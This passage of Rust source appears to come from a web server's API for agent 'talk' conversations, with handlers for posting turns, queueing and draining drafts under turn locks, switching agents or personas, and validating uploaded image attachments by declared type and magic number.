6146        let personas = persona::catalog(&specs)
6147            .into_iter()
6148            .map(|p| PersonaEntry {
6149                id: p.id,
6150                name: p.name,
6151            })
6152            .collect();
6153        Ok(Json(TalkDetailView {
6154            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6155            tasks,
6156            roster,
6157            personas,
6158        }))
6159    })
6160    .await
6161}
6162
6163/// The body of `POST /api/talks/{id}/say`.
6164///
6165/// `attachments` names ids `POST /api/talks/{id}/attachments` already
6166/// returned - never bytes of its own - so a turn with no images just omits
6167/// the field, which is what an older front end still does.
6168#[derive(Debug, Default, Deserialize)]
6169#[serde(default, deny_unknown_fields)]
6170struct NewTalkTurn {
6171    text: String,
6172    attachments: Vec<String>,
6173}
6174
6175#[derive(Debug, Deserialize)]
6176#[serde(deny_unknown_fields)]
6177struct EditTalkPending {
6178    text: String,
6179    expected_text: String,
6180    expected_attachments: Vec<String>,
6181}
6182
6183#[derive(Debug, Deserialize)]
6184#[serde(deny_unknown_fields)]
6185struct ClearTalkPending {
6186    expected_text: String,
6187    expected_attachments: Vec<String>,
6188}
6189
6190/// `POST /api/talks/{id}/say` - one turn of the conversation.
6191///
6192/// Not filesystem work, and therefore not routed through [`blocking`]: this
6193/// route spawns an agent CLI and a turn here can run for the whole of
6194/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
6195/// research turn is expected to run commands rather than answer from what it
6196/// already knows. Holding an HTTP connection open that long is not a thing
6197/// to ask a phone to do; the operator's message is recorded and answered for
6198/// immediately, and the reply lands in the background, discovered through
6199/// the change stream's `talks_rev` the same way every other update on this
6200/// surface is.
6201async fn talk_say(
6202    State(ui): State<Arc<Ui>>,
6203    Path(id): Path<String>,
6204    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6205) -> ApiResult<(StatusCode, Json<TalkView>)> {
6206    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6207    if body.text.trim().is_empty() && body.attachments.is_empty() {
6208        return Err(ApiError::bad_request("say something"));
6209    }
6210
6211    let id = {
6212        let ui = Arc::clone(&ui);
6213        let asked = id.clone();
6214        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6215    };
6216    // A closed Talk never accepts a new immediate or queued turn. Check this
6217    // before claiming a slot so its ordinary domain refusal is a 409, not an
6218    // incidental failure from the later record/queue write.
6219    {
6220        let ui = Arc::clone(&ui);
6221        let id = id.clone();
6222        blocking(move || {
6223            let talk = ui.talks.get(&id)?;
6224            if !talk.status.open() {
6225                return Err(ApiError::conflict(format!(
6226                    "talk {} is {} and takes no more turns",
6227                    talk.short(),
6228                    talk.status.as_str()
6229                )));
6230            }
6231            Ok(())
6232        })
6233        .await?;
6234    }
6235
6236    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6237    // actually stores, before anything is written - an unknown id is a 4xx
6238    // that names it rather than a turn (or a queued draft) silently missing
6239    // an image.
6240    let attachments = {
6241        let ui = Arc::clone(&ui);
6242        let id = id.clone();
6243        let ids = body.attachments.clone();
6244        blocking(move || {
6245            ids.into_iter()
6246                .map(|att_id| {
6247                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6248                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6249                    })
6250                })
6251                .collect::<ApiResult<Vec<talk::Attachment>>>()
6252        })
6253        .await?
6254    };
6255
6256    // Pending recovery and a new immediate turn are decided under the same
6257    // claim lock. Without that one critical section, a second `/say` can see
6258    // the first request's claim as "busy" and append itself to the recovered
6259    // draft before the first request rejects it.
6260    let start = {
6261        let ui = Arc::clone(&ui);
6262        let id = id.clone();
6263        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6264    };
6265    let turn_guard = match start {
6266        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6267        TalkTurnStart::Pending => {
6268            return Err(ApiError::conflict(
6269                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6270            ));
6271        }
6272        TalkTurnStart::Foreign => {
6273            return Err(ApiError::conflict(
6274                "a turn is already running in another process; try again when it has finished",
6275            ));
6276        }
6277        TalkTurnStart::Busy => {
6278            // A turn is already running: queue rather than refuse. See
6279            // `Ui::begin_talk_turn` and `talk::queue`.
6280            //
6281            // The queue write and the drain it may owe live inside the task
6282            // `tokio::spawn` hands to the runtime, for the same reason the
6283            // immediate path below puts `record` there: a dropped handler
6284            // future must not be able to land between a durable write and
6285            // the task that answers it. `blocking` runs its closure on
6286            // `spawn_blocking`, which finishes whether or not anyone is left
6287            // to receive its result - so a disconnect at the `.await` below
6288            // would otherwise leave the draft persisted and the reclaimed
6289            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6290            // ever started and the queued text stranded until some later
6291            // `say` happened to pick it up. The caller's 202 travels back
6292            // over a `oneshot`, sent the moment the write lands.
6293            let (tx, rx) = tokio::sync::oneshot::channel();
6294            tokio::spawn({
6295                let ui = Arc::clone(&ui);
6296                let id = id.clone();
6297                let said = body.text.clone();
6298                async move {
6299                    let written = blocking({
6300                        let ui = Arc::clone(&ui);
6301                        let id = id.clone();
6302                        move || {
6303                            let mut talk = ui.talks.get(&id)?;
6304                            // A test-only stop point, right before the write
6305                            // an interleaving test needs to pin - see
6306                            // `BusyQueueGate`. `None` in every real server:
6307                            // the field only exists under `#[cfg(test)]`.
6308                            #[cfg(test)]
6309                            if let Some(gate) = ui
6310                                .busy_queue_gate
6311                                .lock()
6312                                .unwrap_or_else(PoisonError::into_inner)
6313                                .take()
6314                            {
6315                                let _ = gate.reached.send(());
6316                                let _ = gate.release.recv();
6317                            }
6318                            if let Err(error) =
6319                                talk::queue(&mut talk, &ui.talks, &said, attachments)
6320                            {
6321                                if let Ok(fresh) = ui.talks.get(&id) {
6322                                    if !fresh.status.open() {
6323                                        return Err(ApiError::conflict(format!(
6324                                            "talk {} is {} and takes no more turns",
6325                                            fresh.short(),
6326                                            fresh.status.as_str()
6327                                        )));
6328                                    }
6329                                }
6330                                return Err(ApiError::from(error));
6331                            }
6332                            // The turn that looked busy a moment ago can have
6333                            // finished, found nothing to drain and given up the
6334                            // slot in the gap between that check and this write
6335                            // landing - see `drain_loop`'s own doc for the other
6336                            // half of why that gap would otherwise be able to
6337                            // open at all. Reclaiming the slot here, rather than
6338                            // trusting that whoever held it is still watching, is
6339                            // what stops the text just queued from being stranded
6340                            // until an unrelated future `say` happens to drain
6341                            // it.
6342                            let claim = match ui.begin_queued_talk_turn(&id)? {
6343                                Some(turn_guard) => {
6344                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6345                                    Some((talk.clone(), cfg, turn_guard))
6346                                }
6347                                None => None,
6348                            };
6349                            let thinking = ui.is_thinking(&id);
6350                            Ok((TalkView::new(talk, thinking), claim))
6351                        }
6352                    })
6353                    .await;
6354                    let (view, reclaimed) = match written {
6355                        Ok(pair) => pair,
6356                        Err(e) => {
6357                            // Nobody is listening if the handler's own future
6358                            // was already dropped - that is fine, nothing was
6359                            // persisted and there is no response left to carry
6360                            // this error to.
6361                            let _ = tx.send(Err(e));
6362                            return;
6363                        }
6364                    };
6365                    // If this fails, the caller is gone; the drain below still
6366                    // runs exactly as it would have for a caller that stayed.
6367                    let _ = tx.send(Ok(view));
6368                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6369                        let talks = ui.talks.clone();
6370                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6371                    }
6372                }
6373            });
6374            let view = rx
6375                .await
6376                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6377            return Ok((StatusCode::ACCEPTED, Json(view)));
6378        }
6379    };
6380
6381    let (talk, cfg) = {
6382        let ui = Arc::clone(&ui);
6383        let id = id.clone();
6384        blocking(move || {
6385            let talk = ui.talks.get(&id)?;
6386            let (cfg, _) = Config::discover(&talk.repo, None)?;
6387            Ok((talk, cfg))
6388        })
6389        .await?
6390    };
6391
6392    let talks = ui.talks.clone();
6393    // `record` runs *inside* the spawned task, rather than in this handler
6394    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6395    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6396    // doc), and that drop can land at any `.await` this function makes,
6397    // including one that has already produced its result but not yet
6398    // resumed. A message could end up recorded on disk with the handler
6399    // future gone before it ever reached the `tokio::spawn` that would have
6400    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6401    // that hands the whole future to the runtime as one unit - once made, no
6402    // later drop of *this* handler's own future (that call's return value is
6403    // never held onto here) can reach back in and stop it, so record and the
6404    // hand-off to `respond` are unconditionally atomic from the client's
6405    // point of view. The immediate response this handler owes the caller
6406    // travels back over a `oneshot`, sent the moment `record` succeeds.
6407    let (tx, rx) = tokio::sync::oneshot::channel();
6408    tokio::spawn({
6409        let ui = Arc::clone(&ui);
6410        let talks = talks.clone();
6411        let id = id.clone();
6412        let said = body.text.clone();
6413        let mut talk = talk.clone();
6414        async move {
6415            let recorded = blocking({
6416                let talks = talks.clone();
6417                move || {
6418                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6419                        if let Ok(fresh) = talks.get(&talk.id) {
6420                            if !fresh.status.open() {
6421                                return Err(ApiError::conflict(format!(
6422                                    "talk {} is {} and takes no more turns",
6423                                    fresh.short(),
6424                                    fresh.status.as_str()
6425                                )));
6426                            }
6427                        }
6428                        return Err(ApiError::from(error));
6429                    }
6430                    // `record` mutates `talk` in place to the freshly persisted
6431                    // state (status, pending, and the just-appended operator
6432                    // turn), so returning it here is equivalent to re-reading it
6433                    // from disk - without the extra round trip a re-read would
6434                    // need.
6435                    Ok((said.trim().to_owned(), talk))
6436                }
6437            })
6438            .await;
6439            let (text, mut talk) = match recorded {
6440                Ok(pair) => pair,
6441                Err(e) => {
6442                    // Nobody is listening if the handler's own future was
6443                    // already dropped - that is fine, there is no response
6444                    // left to carry this error to and nothing was persisted.
6445                    let _ = tx.send(Err(e));
6446                    return;
6447                }
6448            };
6449            let queued = talk.clone();
6450            let thinking = ui.is_thinking(&id);
6451            // If this fails, the caller is gone; the turn still runs below
6452            // exactly as it would have for a caller that stayed connected.
6453            let _ = tx.send(Ok((queued, thinking)));
6454
6455            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6456                // `respond` records the failure in the transcript itself,
6457                // which is what the phone reads; this line is for the
6458                // operator's terminal.
6459                tracing::warn!("talk {id} turn failed: {e:#}");
6460            }
6461            // Anything `talk::queue` added while the turn above was running
6462            // is still owed an answer - see `drain_loop`.
6463            drain_loop(talk, talks, cfg, id, turn_guard).await;
6464        }
6465    });
6466
6467    let (queued, thinking) = rx
6468        .await
6469        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6470
6471    // 202: the operator's message is recorded and a turn is running.
6472    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6473}
6474
6475/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
6476/// changing it. The turn guard is the same per-talk ownership `talk_say`
6477/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
6478async fn talk_pending_resume(
6479    State(ui): State<Arc<Ui>>,
6480    Path(id): Path<String>,
6481) -> ApiResult<(StatusCode, Json<TalkView>)> {
6482    let id = {
6483        let ui = Arc::clone(&ui);
6484        let asked = id.clone();
6485        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6486    };
6487    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6488        return Err(ApiError::conflict(
6489            "a talk turn is already running; the queued draft will be handled by it",
6490        ));
6491    };
6492    let (talk, cfg) = {
6493        let ui = Arc::clone(&ui);
6494        let id = id.clone();
6495        blocking(move || {
6496            let talk = ui.talks.get(&id)?;
6497            if !talk.status.open() {
6498                return Err(ApiError::conflict(format!(
6499                    "talk {} is {} and takes no more turns",
6500                    talk.short(),
6501                    talk.status.as_str()
6502                )));
6503            }
6504            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6505                return Err(ApiError::conflict("there is no queued draft to resume"));
6506            }
6507            let (cfg, _) = Config::discover(&talk.repo, None)?;
6508            Ok((talk, cfg))
6509        })
6510        .await?
6511    };
6512    let view = TalkView::new(talk.clone(), true);
6513    let talks = ui.talks.clone();
6514    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6515    Ok((StatusCode::ACCEPTED, Json(view)))
6516}
6517
6518/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
6519/// releasing `turn` only once a check finds it truly empty. Shared by both
6520/// callers that can end up owning a talk's turn slot with something already
6521/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
6522/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
6523/// holder just gave up - see the comment at that call site.
6524///
6525/// The release is folded into the final generation check under `turn`'s own
6526/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
6527/// free". Before its blocking `talk::drain`, this loop observes the queued
6528/// generation. A `say` that sees the turn busy writes its draft, then advances
6529/// that generation. Thus, if it lands while the drain is in flight, the final
6530/// check observes the advance and drains again; otherwise it releases the
6531/// claim while holding the same lock. This keeps the release/arrival handoff
6532/// atomic without holding the global claim mutex across filesystem I/O.
6533async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6534    let live_set = Arc::clone(&turn.turns);
6535    // `Option` rather than binding `turn` directly to a `_turn` that lives
6536    // for the whole function: releasing it has to happen by calling
6537    // `TalkTurnGuard::release` from inside the locked branch below, which
6538    // takes `self` by value. Left as a plain drop instead, `Drop` would still
6539    // remove the id - correctly, if this loop is ever left some other way -
6540    // but doing it there misses the lock this loop is already holding, which
6541    // is the exact gap `release` exists to close.
6542    let mut turn = Some(turn);
6543    loop {
6544        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6545            // The lease was taken over while a turn ran. Whatever is queued
6546            // stays a draft; running it here would race the new owner.
6547            tracing::warn!("talk {id} lost its turn lease; not draining further");
6548            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6549            if let Some(turn) = turn.take() {
6550                turn.release(&mut live);
6551            }
6552            break;
6553        }
6554        // `talk::drain` takes the store lock and can write/rename the talk
6555        // file. Keep the turn mutex out of that synchronous work: it protects
6556        // every talk's in-memory claim, not this talk's disk operation.
6557        let observed = live_set
6558            .lock()
6559            .unwrap_or_else(PoisonError::into_inner)
6560            .queued
6561            .get(&id)
6562            .copied()
6563            .unwrap_or(0);
6564        let drained = blocking({
6565            let talks = talks.clone();
6566            move || {
6567                let result = talk::drain(&mut talk, &talks);
6568                Ok((talk, result))
6569            }
6570        })
6571        .await;
6572        let (next_talk, result) = match drained {
6573            Ok(drained) => drained,
6574            Err(e) => {
6575                tracing::warn!(
6576                    status = %e.status,
6577                    message = %e.message,
6578                    "talk {id} could not start queued-text drain"
6579                );
6580                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6581                turn.take()
6582                    .expect("held for the whole loop until released here")
6583                    .release(&mut live);
6584                break;
6585            }
6586        };
6587        talk = next_talk;
6588        let drained = match result {
6589            Ok(Some(drained)) => drained,
6590            Ok(None) => {
6591                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6592                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6593                    continue;
6594                }
6595                turn.take()
6596                    .expect("held for the whole loop until released here")
6597                    .release(&mut live);
6598                break;
6599            }
6600            Err(e) => {
6601                tracing::warn!("talk {id} could not drain queued text: {e:#}");
6602                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6603                turn.take()
6604                    .expect("held for the whole loop until released here")
6605                    .release(&mut live);
6606                break;
6607            }
6608        };
6609        let responded = match turn.as_ref() {
6610            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6611            None => Err(anyhow::anyhow!("the turn guard was released")),
6612        };
6613        if let Err(e) = responded {
6614            tracing::warn!("talk {id} turn failed: {e:#}");
6615        }
6616    }
6617}
6618
6619/// Clear a queued draft only if it remains exactly the one the caller saw.
6620async fn talk_pending_clear(
6621    State(ui): State<Arc<Ui>>,
6622    Path(id): Path<String>,
6623    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6624) -> ApiResult<Json<TalkView>> {
6625    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6626    blocking(move || {
6627        let id = resolve_talk(&ui.talks, &id)?;
6628        let mut talk = ui.talks.get(&id)?;
6629        if !talk.status.open() {
6630            return Err(ApiError::conflict(format!(
6631                "talk {} is {} and takes no more turns",
6632                talk.short(),
6633                talk.status.as_str()
6634            )));
6635        }
6636        if !talk::clear_pending_if_matches(
6637            &mut talk,
6638            &ui.talks,
6639            &body.expected_text,
6640            &body.expected_attachments,
6641        )? {
6642            return Err(ApiError::conflict(
6643                "queued message changed; reload it before clearing",
6644            ));
6645        }
6646        let thinking = ui.is_thinking(&talk.id);
6647        Ok(Json(TalkView::new(talk, thinking)))
6648    })
6649    .await
6650}
6651
6652/// Atomically edit a queued draft's text while preserving its attachments.
6653/// The snapshot fields make a concurrent queue or drain a conflict rather
6654/// than silently discarding either message.
6655async fn talk_pending_edit(
6656    State(ui): State<Arc<Ui>>,
6657    Path(id): Path<String>,
6658    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6659) -> ApiResult<Json<TalkView>> {
6660    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6661    let (view, reclaimed) = blocking({
6662        let ui = Arc::clone(&ui);
6663        move || {
6664            let id = resolve_talk(&ui.talks, &id)?;
6665            let mut talk = ui.talks.get(&id)?;
6666            if !talk.status.open() {
6667                return Err(ApiError::conflict(format!(
6668                    "talk {} is {} and takes no more turns",
6669                    talk.short(),
6670                    talk.status.as_str()
6671                )));
6672            }
6673            if !talk::edit_pending_text(
6674                &mut talk,
6675                &ui.talks,
6676                &body.text,
6677                &body.expected_text,
6678                &body.expected_attachments,
6679            )? {
6680                return Err(ApiError::conflict(
6681                    "queued message changed; reload it before editing",
6682                ));
6683            }
6684            let claim = match ui.begin_queued_talk_turn(&id)? {
6685                Some(turn_guard) => {
6686                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6687                    Some((talk.clone(), cfg, id.clone(), turn_guard))
6688                }
6689                None => None,
6690            };
6691            let thinking = ui.is_thinking(&id);
6692            Ok((TalkView::new(talk, thinking), claim))
6693        }
6694    })
6695    .await?;
6696    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6697        let talks = ui.talks.clone();
6698        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6699    }
6700    Ok(Json(view))
6701}
6702
6703/// The body of `POST /api/talks/{id}/agent`.
6704#[derive(Debug, Deserialize)]
6705struct TalkAgent {
6706    agent: String,
6707}
6708
6709/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
6710/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
6711/// start a turn on the old session between the check and the write; one that
6712/// arrives in that window finds the talk busy and becomes a draft.
6713async fn talk_agent(
6714    State(ui): State<Arc<Ui>>,
6715    Path(id): Path<String>,
6716    Json(body): Json<TalkAgent>,
6717) -> ApiResult<Json<TalkView>> {
6718    let id = {
6719        let ui = Arc::clone(&ui);
6720        blocking(move || resolve_talk(&ui.talks, &id)).await?
6721    };
6722    let repo = {
6723        let ui = Arc::clone(&ui);
6724        let id = id.clone();
6725        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6726    };
6727    let cfg = config_for(&repo).await?;
6728    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6729        return Err(ApiError::conflict(
6730            "a talk turn is running; change the agent once it has answered",
6731        ));
6732    };
6733    let switched = {
6734        let ui = Arc::clone(&ui);
6735        let id = id.clone();
6736        let cfg = cfg.clone();
6737        blocking(move || {
6738            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6739                .map_err(ApiError::bad_request_from)?;
6740            let mut talk = ui.talks.get(&id)?;
6741            if !talk.status.open() {
6742                return Err(ApiError::conflict(format!(
6743                    "talk {} is {} and takes no more turns",
6744                    talk.short(),
6745                    talk.status.as_str()
6746                )));
6747            }
6748            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6749            Ok(talk)
6750        })
6751        .await
6752    };
6753    // A `/say` that landed while this held the claim saw the talk busy and
6754    // left a durable draft, trusting the claim's owner to drain it. So the
6755    // claim goes to `drain_loop` whatever the outcome - it releases at once
6756    // when nothing is queued - rather than being dropped here.
6757    let fresh = {
6758        let ui = Arc::clone(&ui);
6759        let id = id.clone();
6760        blocking(move || Ok(ui.talks.get(&id)?)).await
6761    };
6762    let draining = match fresh {
6763        Ok(talk) => {
6764            let draining = talk.status.open()
6765                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6766            let talks = ui.talks.clone();
6767            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6768            draining
6769        }
6770        Err(_) => false,
6771    };
6772    let talk = switched?;
6773    Ok(Json(TalkView::new(talk, draining)))
6774}
6775
6776/// The body of `POST /api/talks/{id}/persona`.
6777#[derive(Debug, Deserialize)]
6778struct TalkPersona {
6779    persona: String,
6780}
6781
6782/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
6783/// like [`talk_agent`]: the turn guard is held for the change and always handed
6784/// to `drain_loop`, so a draft left meanwhile is not stranded.
6785async fn talk_persona(
6786    State(ui): State<Arc<Ui>>,
6787    Path(id): Path<String>,
6788    Json(body): Json<TalkPersona>,
6789) -> ApiResult<Json<TalkView>> {
6790    let id = {
6791        let ui = Arc::clone(&ui);
6792        blocking(move || resolve_talk(&ui.talks, &id)).await?
6793    };
6794    let repo = {
6795        let ui = Arc::clone(&ui);
6796        let id = id.clone();
6797        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6798    };
6799    let cfg = config_for(&repo).await?;
6800    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6801        return Err(ApiError::conflict(
6802            "a talk turn is running; change the persona once it has answered",
6803        ));
6804    };
6805    let switched = {
6806        let ui = Arc::clone(&ui);
6807        let id = id.clone();
6808        let cfg = cfg.clone();
6809        blocking(move || {
6810            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
6811                return Err(ApiError::bad_request(format!(
6812                    "unknown persona `{}`",
6813                    body.persona
6814                )));
6815            };
6816            let mut talk = ui.talks.get(&id)?;
6817            if !talk.status.open() {
6818                return Err(ApiError::conflict(format!(
6819                    "talk {} is {} and takes no more turns",
6820                    talk.short(),
6821                    talk.status.as_str()
6822                )));
6823            }
6824            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
6825            Ok(talk)
6826        })
6827        .await
6828    };
6829    // As in `talk_agent`: the claim goes to `drain_loop` whatever happened.
6830    let fresh = {
6831        let ui = Arc::clone(&ui);
6832        let id = id.clone();
6833        blocking(move || Ok(ui.talks.get(&id)?)).await
6834    };
6835    let draining = match fresh {
6836        Ok(talk) => {
6837            let draining = talk.status.open()
6838                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6839            let talks = ui.talks.clone();
6840            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6841            draining
6842        }
6843        Err(_) => false,
6844    };
6845    let talk = switched?;
6846    Ok(Json(TalkView::new(talk, draining)))
6847}
6848
6849/// `POST /api/talks/{id}/close`.
6850async fn talk_close(
6851    State(ui): State<Arc<Ui>>,
6852    Path(id): Path<String>,
6853) -> ApiResult<Json<TalkView>> {
6854    blocking(move || {
6855        let id = resolve_talk(&ui.talks, &id)?;
6856        let mut talk = ui.talks.get(&id)?;
6857        talk::close(&mut talk, &ui.talks)?;
6858        let thinking = ui.is_thinking(&talk.id);
6859        Ok(Json(TalkView::new(talk, thinking)))
6860    })
6861    .await
6862}
6863
6864/// `POST /api/talks/{id}/reopen`.
6865async fn talk_reopen(
6866    State(ui): State<Arc<Ui>>,
6867    Path(id): Path<String>,
6868) -> ApiResult<Json<TalkView>> {
6869    blocking(move || {
6870        let id = resolve_talk(&ui.talks, &id)?;
6871        let mut talk = ui.talks.get(&id)?;
6872        talk::reopen(&mut talk, &ui.talks)?;
6873        let thinking = ui.is_thinking(&talk.id);
6874        Ok(Json(TalkView::new(talk, thinking)))
6875    })
6876    .await
6877}
6878
6879/// `DELETE /api/talks/{id}`.
6880///
6881/// Removes the conversation's record and artifacts outright, unlike
6882/// [`talk_close`] which keeps the record as history. A turn already in
6883/// flight is not refused here the way [`run_delete`] refuses a live run:
6884/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
6885/// under [`Talks::guard`], that the record they are about to write back is
6886/// still there, so a delete racing a turn is safe without this route having
6887/// to know a turn is running at all.
6888async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6889    blocking(move || {
6890        let id = resolve_talk(&ui.talks, &id)?;
6891        ui.talks.remove(&id)?;
6892        Ok(StatusCode::NO_CONTENT)
6893    })
6894    .await
6895}
6896
6897/// Expand an id or short id to exactly one talk id.
6898fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6899    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6900}
6901
6902/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
6903/// future `talk-say`.
6904async fn talk_attachment_post(
6905    State(ui): State<Arc<Ui>>,
6906    Path(id): Path<String>,
6907    headers: HeaderMap,
6908    body: Bytes,
6909) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6910    let mime = validate_attachment(&headers, &body)?;
6911    let name = filename_header(&headers);
6912    let data = body.to_vec();
6913    blocking(move || {
6914        let id = resolve_talk(&ui.talks, &id)?;
6915        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6916        Ok((StatusCode::CREATED, Json(att)))
6917    })
6918    .await
6919}
6920
6921/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
6922/// `<img>` tag in the transcript.
6923async fn talk_attachment_get(
6924    State(ui): State<Arc<Ui>>,
6925    Path((id, att)): Path<(String, String)>,
6926) -> ApiResult<Response> {
6927    blocking(move || {
6928        let id = resolve_talk(&ui.talks, &id)?;
6929        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6930            return Err(ApiError::not_found(format!(
6931                "talk {id} has no attachment `{att}`"
6932            )));
6933        };
6934        Ok(attachment_response(&meta.mime, data))
6935    })
6936    .await
6937}
6938
6939/// Validate an attachment upload's declared `Content-Type` and the bytes
6940/// themselves, returning the canonical mime on success.
6941///
6942/// Two checks, both required: the header has to name one of
6943/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
6944/// simply never in the list, active content rather than a picture, the same
6945/// exclusion [`asset_content_type`]'s doc explains), and the file's own
6946/// magic number has to agree. The second is what stops a mislabeled upload -
6947/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
6948/// a declared type is a claim, not a fact, so it is never trusted alone.
6949fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6950    if data.len() > ATTACHMENT_MAX_BYTES {
6951        return Err(ApiError::bad_request(format!(
6952            "attachment is {} bytes, over the {} MiB limit",
6953            data.len(),
6954            ATTACHMENT_MAX_BYTES / (1024 * 1024)
6955        ))
6956        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6957    }
6958    if data.is_empty() {
6959        return Err(ApiError::bad_request("attachment is empty"));
6960    }
6961    let declared = declared_mime(headers)?;
6962    match sniffed_mime(data) {
6963        Some(sniffed) if sniffed == declared => Ok(declared),
6964        Some(sniffed) => Err(ApiError::bad_request(format!(
6965            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6966        ))),
6967        None => Err(ApiError::bad_request(
6968            "the file's bytes do not match any accepted image format",
6969        )),
6970    }
6971}
6972
6973/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
6974/// and nothing else - parameters like `; charset=` are stripped, but the
6975/// value itself is not otherwise interpreted.
6976fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6977    let raw = headers
6978        .get(header::CONTENT_TYPE)
6979        .and_then(|v| v.to_str().ok())
6980        .unwrap_or("")
6981        .split(';')
6982        .next()
6983        .unwrap_or("")
6984        .trim()
6985        .to_ascii_lowercase();
6986    ATTACHMENT_MIME_WHITELIST
6987        .iter()
6988        .find(|&&m| m == raw)
6989        .copied()
6990        .ok_or_else(|| {
6991            if raw == "image/svg+xml" {
6992                ApiError::bad_request(
6993                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
6994                     not just a picture",
6995                )
6996            } else if raw.is_empty() {
6997                ApiError::bad_request("Content-Type is required for an attachment upload")
6998            } else {
6999                ApiError::bad_request(format!(
7000                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7001                     image/gif or image/webp"
7002                ))
7003            }
7004        })
7005}
7006
7007/// Identify an image by its magic number, independent of whatever
7008/// `Content-Type` claimed.
7009fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7010    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7011        Some("image/png")
7012    } else if data.starts_with(b"\xff\xd8\xff") {
7013        Some("image/jpeg")
7014    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7015        Some("image/gif")
7016    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7017        Some("image/webp")
7018    } else {
7019        None
7020    }
7021}
7022
7023/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
7024/// display - see [`talk::Attachment::name`]'s doc on why it never
7025/// contributes to a path. A missing or blank header (curl without it, an
7026/// older front end) falls back to a generic name rather than refusing the
7027/// upload over a field that is cosmetic.
7028fn filename_header(headers: &HeaderMap) -> String {
7029    headers
7030        .get(FILENAME_HEADER)
7031        .and_then(|v| v.to_str().ok())
7032        .map(str::trim)
7033        .filter(|s| !s.is_empty())
